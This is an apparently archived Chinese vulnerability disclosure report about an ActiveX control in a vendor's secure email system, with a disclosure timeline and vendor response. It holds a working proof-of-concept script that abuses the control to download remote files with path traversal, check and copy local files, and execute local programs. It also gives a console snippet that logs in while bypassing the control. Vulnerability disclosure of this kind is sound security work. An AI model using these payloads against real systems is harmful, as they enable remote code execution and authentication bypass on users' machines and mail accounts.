某电子邮件系统安全控件文件下载、运行、覆盖等 + 绕过该控件可登录系统

漏洞详情

披露状态:

2014-02-18: 细节已通知厂商并且等待厂商处理中
2014-02-23: 厂商已经确认,细节仅向厂商公开
2014-03-05: 细节向核心白帽子及相关领域专家公开
2014-03-15: 细节向普通白帽子公开
2014-03-25: 细节向实习白帽子公开
2014-04-04: 细节向公众公开

简要描述:

某电子邮件系统安全控件文件
可以下载任意地址文件到%tmp%的任意相对路径
可以运行本地任意文件并获得执行结果
可以复制本地任意文件到%tmp%的任意相对路径
可以判断本地任意文件是否存在
可以判断本地任意文件大小

可以绕过次安全控件登录该邮件系统

详细说明:

成都三零盛安信息系统有限公司

龙信使Ⅱ安全增强电子邮件系统 ActiveX控件

可以下载任意地址文件到%tmp%的任意相对路径

SanMailBHO.HttpService:downloadFileWithUrl

可以运行本地任意文件并获得执行结果

SanMailBHO.MailServiceFactory:openLocalFile

可以复制本地任意文件到%tmp%的任意相对路径

可以判断本地任意文件是否存在

SanMailBHO.MailAttachment:

SetFile

IsLocalFileExist

LoadLocalFile

SaveToNoPrompt

可以判断本地任意文件大小

SanMailBHO.MailServiceFactory:GetFileSize



验证:mail.30san.com

漏洞证明:

<script>
var mailService = new ActiveXObject("SanMailBHO.MailServiceFactory");
var httpForm = new ActiveXObject("SanMailBHO.HttpForm");
var httpService = new ActiveXObject("SanMailBHO.HttpService");
var usbkeyService = new ActiveXObject("SanMailBHO.UsbkeyService");
var mailAttachment = new ActiveXObject("SanMailBHO.MailAttachment");
mailService.init();
httpService.transferType="http";
var host = "www.baidu.com";
var port = "80";
var url = "/img/bdlogo.gif";
document.write("malware:http://www.baidu.com/img/bdlogo.gif");
document.write("<br>");
var localTempFilePath = httpService.downloadFileWithUrl(host,port,"/img/bdlogo.gif" ,"..\\..\\bdlogo.gif" );
document.write("malware dl to:" + localTempFilePath);
document.write("<br>");
document.write("malware size:"+mailService.GetFileSize(localTempFilePath ));
document.write("<br>");
var virus = "c:\\windows\\system32\\calc.exe";
document.write("virus:"+virus);
document.write("<br>");
mailAttachment.SetFile(virus);
document.write("virus exist:"+mailAttachment.IsLocalFileExist());
document.write("<br>");
document.write("virus exec:" + mailService.openLocalFile(virus));
document.write("<br>");
document.write("virus read");
document.write("<br>");
mailAttachment.LoadLocalFile();
document.write("virus write to:");
document.write(mailAttachment.SaveToNoPrompt("..\\test.exe"));
document.write("<br>");
</script>





Untitled2.jpg

修复方案:

不安装控件,绕过该控件登录系统

在登录页打开控制台:

window.mylogin = function(user,domain,psw){
var md5pwd = hex_md5(psw);
$.ajax({
type : "POST"
url : "/servlet/LoginServlet"
dataType : "html"
data : {
username : user + domain,
password : md5pwd,
isKeyLogin : true //
},
success : function(msg) {
var obj = eval("(" + msg + ")");
switch(obj.error)
{
case 0://登录成功
case 206://首次登录 "/html/authorization/firstlogin.html"
case 207://密码过期 "/html/authorization/overduelogin.html"
case 208://密码被重置 "/html/authorization/resetpwdlogin.html"
top.location = "/html/frame/mainframe.html";
default:
console.log(msg);
}
}
error : function(msg){
console.log(msg);
}
});
}



然后

mylogin("用户名","@xxx.com","密码");

即可成功登录



Untitled.jpg

版权声明:转载请注明来源 Bin.Y@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-02-23 11:27

厂商回复:

最新状态:

暂无


漏洞评价: